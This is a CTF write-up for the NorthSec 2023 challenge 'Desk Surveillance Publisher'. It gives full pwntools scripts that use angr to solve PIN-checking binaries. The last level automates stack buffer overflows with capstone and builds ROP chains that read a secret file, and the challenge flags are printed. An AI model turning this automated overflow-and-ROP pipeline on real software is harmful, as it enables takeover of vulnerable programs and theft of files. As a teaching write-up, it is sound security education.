Skip to main content
  1. Posts/

[NorthSec CTF 2023] - Desk Surveillance Publisher

·10 mins
CTF writeups ROP autopwn angr
Table of Contents

Cameras are down. Not the endpoint installing their firmwares. Open socket here. Could analyze some outdated firmwares.

Introduction
#

In a dystopian bureaucratic future, we are tasked to investigate a camera firmware generator. We can access 3 different levels depending on the password we provide. Then, we are given an ELF binary encoded in base64 and we are asked to find the correct PIN which deactivates the cameras. Once we provide the correct input, we are rewarded with… another binary! And so on and so forth.

It seems that even though the challenges are simple by themselves, the real challenge here is to completely automate the exploitation process.

Level 1
#

As I show you around the different Surveillance Cameras Firmwares, you can try out the different keypads. Here is how this is going to work. I will give you a firmware. Find the appropriate keycode to deactivate these cameras. The firmwares will be encoded in base64. Return to me the full pin entry (stdin) encoded in base64 on a single line. I will keep you updated on how you are doing. Let’s get going.

The first level is pretty straight forward. It reads 5 PINs of 10 digits each using scanf and verifies each one using a single if statement.

int main(void)
{
  uint pin1;
  int pin2, pin3, pin4, pin5;
  
  __isoc99_scanf(&format_10u,&pin1);
  __isoc99_scanf(&format_10u,&pin2);
  __isoc99_scanf(&format_10u,&pin3);
  __isoc99_scanf(&format_10u,&pin4);
  __isoc99_scanf(&format_10u,&pin5);
  if (pin1 % 0x22a5ba4b != 0xa0710fe) {
    puts("Wrong password.");
    exit(1);
  }
  if (pin2 != 0x766b4ee6) {
    puts("Wrong password.");
    exit(1);
  }
  if (pin3 != -0x11729f3a) {
    puts("Wrong password.");
    exit(1);
  }
  if (pin4 != -0x9f327a9) {
    puts("Wrong password.");
    exit(1);
  }
  if (pin5 != -0x395ba0ae) {
    puts("Wrong password.");
    exit(1);
  }
  puts("Deactivated.");
  return 0;
}

All the binaries are similar, but the PIN verification methods vary between direct comparison and modulus. There are multiple ways to automate the extraction of the correct PIN values, but the most efficient by far has to be using angr.

We simply look for an execution path that outputs the string "Deactivated" on stdout.

Full exploit script
#

from pwn import *
import base64
import angr

p = remote("surveillance.ctf", 8000)
p.recvuntil(b"Password: ")
p.sendline(b"I have come for the shadow training")
p.recvuntil(b"Let's get going.\n")

def read_firmware():
    encoded = p.recvline(keepends=False)
    firmware = base64.b64decode(encoded)
    with open("prog", "wb") as f:
        f.write(firmware)

def find_pin(filename):
    proj = angr.Project(f"./{filename}")
    simgr = proj.factory.simulation_manager()
    simgr.explore(find=lambda s: b"Deactivated" in s.posix.dumps(1))

    s = simgr.found[0]
    pin = s.posix.dumps(0)
    print(f"Found pin {pin.decode()}")
    return pin

for i in range(50):
    read_firmware()
    pin = find_pin("prog")
    p.sendline(base64.b64encode(pin))
    message = p.recvline(keepends=False)
    print(message.decode())

p.interactive()

FLAG-9fc829b1f5af991c78dc8ae232f2618e3c3904e1001777ea19815da17f7

Level 2
#

You know the drill… only harder!

The second level is quite similar, but some kind of anti-debugging feature was added at the beginning.

int main(int argc,char **argv)
{
  char cmdline [32];
  FILE *f;
  int pin1, pin2, pin3, pin4, pin5;
  int count;
  int i, j;
  
  f = fopen("/proc/self/cmdline","rb");
  memset(cmdline,0,0x20);
  fgets(cmdline,6,f);
  fclose(f);
  count = 0;
  for (i = 0; i < 0x100; i = i + 1) {
    for (j = 0; j < 6; j = j + 1) {
      if (cmdline[j] == '/') {
        count = count + 1;
      }
    }
  }
  if (count != 0x200) {
    exit(1);
  }
  __isoc99_scanf(&format_10u,&pin1);
  __isoc99_scanf(&format_10u,&pin2);
  __isoc99_scanf(&format_10u,&pin3);
  __isoc99_scanf(&format_10u,&pin4);
  __isoc99_scanf(&format_10u,&pin5);
  if (pin1 != -0x741602f7) {
    puts("Wrong password.");
    exit(1);
  }
  if (pin2 != -0x25287d8d) {
    puts("Wrong password.");
    exit(1);
  }
  if (pin3 != 0x6c712c4b) {
    puts("Wrong password.");
    exit(1);
  }
  if (pin4 != 0x61bf41ec) {
    puts("Wrong password.");
    exit(1);
  }
  if (pin5 != 0x4925fcde) {
    puts("Wrong password.");
    exit(1);
  }
  puts("Deactivated.");
  return 0;
}

The first part opens /proc/self/cmdline and reads the first 5 characters. It then counts the number of slashes / 0x100 times and compares the result with 0x200. This means that the command used to run the executable must contain 2 slashes in the first 5 characters, preventing trivial execution of the program.

This measure can be easily circumvented by placing the binary in a directory with a small name. For instance, by placing the executable prog in a directory a, we can now call ./a/prog and the first 5 characters of the command line will contain 2 slashes.

But why even bother? We don’t really need to execute the whole binary, we just want to run angr on the last part of the main function. Therefore, we just need to ajust the start address in our script, which we can do using the entry_state initializer.

Full exploit script
#

from pwn import *
import base64
import angr

p = remote("surveillance.ctf", 8000)
p.recvuntil(b"Password: ")
p.sendline(b"If things are not failing, you are not innovating enough")
p.recvuntil(b"only harder!\n")

def read_firmware():
    encoded = p.recvline(keepends=False)
    firmware = base64.b64decode(encoded)
    with open("prog", "wb") as f:
        f.write(firmware)

def find_pin(filename):
    proj = angr.Project(f"./{filename}")
    state = proj.factory.entry_state(addr=0x0000000000401256)
    simgr = proj.factory.simulation_manager(state)
    simgr.explore(find=lambda s: b"Deactivated" in s.posix.dumps(1))

    s = simgr.found[0]
    pin = s.posix.dumps(0)
    print(f"Found pin {pin.decode()}")
    return pin

for i in range(35):
    read_firmware()
    pin = find_pin("prog")
    p.sendline(base64.b64encode(pin))
    message = p.recvline(keepends=False)
    print(message.decode())

p.interactive()

FLAG-c2566c50c1508cb339a3f872ffe699fb59ee306e165e2d0959048ca9dfe

Level 3
#

Time to show them for real. Here’s the plan. Nevermind shutting them down. Exploit them. Prove that you are capable by writing a payload that writes the content of “./secret” to stdout.

The last level is much more complex, because we now need to properly PWN the firmwares. Instead of providing the correct PIN, we must corrupt the execution flow to print out the content of the secret file.

The programs have a clear buffer overflow in the main function.

int main(void)
{
  char local_458 [192];
  char local_398 [48];
  char local_368 [64];
  char local_328 [128];
  char local_2a8 [96];
  char local_248 [240];
  char local_158 [192];
  char local_98 [124];
  int pin1, pin2, pin3, pin4, pin5;
  
  __isoc99_scanf(&format_10u,&pin1);
  __isoc99_scanf(&format_10u,&pin2);
  __isoc99_scanf(&format_10u,&pin3);
  __isoc99_scanf(&format_10u,&pin4);
  __isoc99_scanf(&format_10u,&pin5);
  puts("Deactivation pin in now stored in this file: secret");
  fgets(local_98,0x75,(FILE *)stdin);
  fgets(local_398,0x25,(FILE *)stdin);
  fgets(local_158,0x5d8,(FILE *)stdin);
  fgets(local_328,0x80,(FILE *)stdin);
  fgets(local_368,0x3d,(FILE *)stdin);
  fgets(local_2a8,0x55,(FILE *)stdin);
  fgets(local_458,0xb1,(FILE *)stdin);
  fgets(local_248,0xe9,(FILE *)stdin);
  puts("Deactivated.");
  return 0;
}

However, the overflow is burried in a pile of other calls to fgets.

It’s also important to note that the number, the size and the order of the buffers and the calls to fgets can greatly differ from one binary to another. Here’s another firmware for comparison.

int main(void)
{
  char local_4f8 [160];
  char local_458 [256];
  char local_358 [32];
  char local_338 [64];
  char local_2f8 [64];
  char local_2b8 [192];
  char local_1f8 [48];
  char local_1c8 [32];
  char local_1a8 [256];
  char local_a8 [140];
  int pin1, pin2, pin3, pin4, pin5;
  
  __isoc99_scanf(&format_10u,&pin1);
  __isoc99_scanf(&format_10u,&pin2);
  __isoc99_scanf(&format_10u,&pin3);
  __isoc99_scanf(&format_10u,&pin4);
  __isoc99_scanf(&format_10u,&pin5);
  puts("Deactivation pin in now stored in this file: secret");
  fgets(local_a8,0x85,(FILE *)stdin);
  fgets(local_458,0xfc,(FILE *)stdin);
  fgets(local_2f8,0x39,(FILE *)stdin);
  fgets(local_1f8,0x28,(FILE *)stdin);
  fgets(local_1c8,0x14,(FILE *)stdin);
  fgets(local_4f8,0x95,(FILE *)stdin);
  fgets(local_1a8,0xfd,(FILE *)stdin);
  fgets(local_338,0x36,(FILE *)stdin);
  fgets(local_2b8,0xb3,(FILE *)stdin);
  fgets(local_358,0x5d5,(FILE *)stdin);
  puts("Deactivated.");
  return 0;
}

Strategy
#

The only constant between firmwares is that at least one call to fgets is quite big, enough to overflow into a nice ROP chain. Therefore, we can safely ignore all other calls and give them empty lines.

It’s important to note that even tho checksec reports the presence of a stack canary, the main function doesn’t have one, which allows the overflow.

The minimal requirements to be able to successfull overflow any given firmware into a ROP chain are:

  • The size of the biggest fgets
  • The offset of its buffer from the return address
  • The number of fgets before the biggest
  • The number of fgets after the biggest

With this information, we can send the correct number of empty newlines and the right padding before the ROP chain.

The perfect tool to extract all this data is the Capstone disassembler. Using the capstone Python module, we can easily disassemble the firmware into an object.

binary = ELF(f"./{filename}")
md = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64)
md.detail = True

We can then use that object to iterate over all instructions in the main function until a ret instruction is encountered.

text_offset = binary.get_section_by_name(".text").header["sh_addr"]
for insn in md.disasm(binary.section(".text"), text_offset):
    if insn.address < binary.sym["main"]:
        continue
    if insn.mnemonic == "ret":
        break

Every call to fgets is populated with the same instructions.

MOV        RDX,qword ptr [->_IO_2_1_stdin_]
LEA        RAX,[RBP + -0x450]
MOV        ESI,0xb1
MOV        RDI,RAX
CALL       fgets

To get the buffer offset, we need the offset in the second argument of every lea instruction. To get the size, we need the second argument of every mov instruction which has the esi register as the first. We store all those values whenever we encouter a call to fgets.

if insn.mnemonic == "lea": # load buffer
    buffer = -insn.operands[1].value.mem.disp
if insn.mnemonic == "mov" and insn.reg_name(insn.operands[0].value.reg) == "esi": # load size
    readlen = insn.operands[1].value.imm
if insn.mnemonic == "call" and insn.operands[0].imm == binary.sym["fgets"]: # call fgets
    fgets_calls.append((buffer, readlen))

This strategy allows us to generate a payload that will sucessfully deliver any ROP chain we might want.

for buffer, readlen in fgets_calls:
    if readlen == biggest_fgets:
        payload += b"a"*(buffer + 8)
        payload += ROPchain

    payload += b"\n"

The chain
#

The only thing missing is the ROP chain itself!

The first thing to notice is that all the firmwares for this level are statically linked. The good news is that all libc functions can be easily called in our chain, but the downside is that we are restricted to the functions included in the binary.

A quick check using nm or gdb confirms that the system function is not present, but open, read and write are, which is perfect for our purposes.

The pwntools module makes it trivial to craft the ROP chain itself.

r = ROP(binary)
r.call("open", [target, 0, 0])
r.call("read", [3, target, 100])
r.call("write", [1, target, 100])
r.call("exit", [0])
Altough the PINs so far have always been 50 digits, it’s important to read and write more because it seems that the content of the secret file is longer.

All we need now is the filename ./secret written somewhere in the binary for the call to open. Usually, it’s easy to include a call to gets in the ROP chain to place the filename in the BSS, but with a few tests it became clear that the program didn’t respond well to it (probably something to do with newlines and buffering since we need to bundle the whole input in a single payload).

The ROP chain does however allow us to very reliably pop any value into registers. Therefore, if we could find a good mov gadget, we could use this to manually put the filename in the BSS. Since the binaries are statically linked, there are tons of good gadgets to choose from! This one should work perfectly since we can easily control rdi and rsi.

mov qword ptr [rdi + 0x98], rsi
ret

Unfortunately, pwntools can’t find this type of gadget, so the quickest solution at the time was to script a call to ROPgadget.

def find_gadget(value):
    gadgets = subprocess.run(f"ROPgadget --binary {filename}".split(), capture_output=True).stdout.decode()
    for line in gadgets.splitlines():
        if value in line:
            return int(line.split()[0], 16)

After that, we don’t even have to care about how we setup the registers, because pwntools can handle that too.

r = ROP(binary)
r(rdi=target-0x98, rsi=u64(b"./secret"))

Finally, we can put this all of this together to automate the exploitation of the firmwares and get the flag!

Full exploit script
#

from pwn import *
import base64
import capstone
context.update(os="linux", arch="amd64")

p = remote("surveillance.ctf", 8000)
p.recvuntil(b"Password: ")
p.sendline(b"What I'm trying to do is to maximise the probability of the future being better")
print(p.recvuntil(b"stdout.\n"))

def read_firmware():
    encoded = p.recvline(keepends=False)
    firmware = base64.b64decode(encoded)
    with open("prog", "wb") as f:
        f.write(firmware)

def craft_exploit(filename):
    binary = ELF(f"./{filename}")

    # Find our gadget
    def find_gadget(value):
        gadgets = subprocess.run(f"ROPgadget --binary {filename}".split(), capture_output=True).stdout.decode()
        for line in gadgets.splitlines():
            if value in line:
                return int(line.split()[0], 16)

    movrsirsi = find_gadget(": mov qword ptr [rdi + 0x98], rsi ; ret")
    print(f"Found gadget at address {hex(movrsirsi)}")

    # Find the overflow parameters
    md = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64)
    md.detail = True
    text_offset = binary.get_section_by_name(".text").header["sh_addr"]
    buffer = 0
    readlen = 0
    fgets_calls = []
    for insn in md.disasm(binary.section(".text"), text_offset):
        if insn.address < binary.sym["main"]:
            continue
        if insn.mnemonic == "ret":
            break
        if insn.mnemonic == "lea": # load buffer
            buffer = -insn.operands[1].value.mem.disp
        if insn.mnemonic == "mov" and insn.reg_name(insn.operands[0].value.reg) == "esi": # load size
            readlen = insn.operands[1].value.imm
        if insn.mnemonic == "call" and insn.operands[0].imm == binary.sym["fgets"]: # call fgets
            print(f"fgets is called with buffer {buffer} and size {readlen}")
            fgets_calls.append((buffer, readlen))

    biggest_fgets = max(map(lambda x: x[1], fgets_calls))
    print(f"The biggest fgets is with size {biggest_fgets}")

    # Craft the chain
    target = binary.bss(0x208)
    print(f"Target is {hex(target)}")
    r = ROP(binary)
    r(rdi=target-0x98, rsi=u64(b"./secret"))
    payload = b"1"*50

    for buffer, readlen in fgets_calls:
        if readlen == biggest_fgets:
            payload += b"a"*(buffer + 8)
            payload += r.chain()

            payload += p64(movrsirsi)

            r = ROP(binary)
            r.call("open", [target, 0, 0])
            r.call("read", [3, target, 100])
            r.call("write", [1, target, 100])
            r.call("exit", [0])
            payload += r.chain()

        payload += b"\n"
    return payload

for i in range(50):
    read_firmware()
    payload = craft_exploit("prog")
    p.sendline(base64.b64encode(payload))
    message = p.recvline(keepends=False)
    print(message.decode())

p.interactive()

FLAG-10b7bb2f859abeb8271b8a81ac96f030c062ca8911049c03299fd49d9aa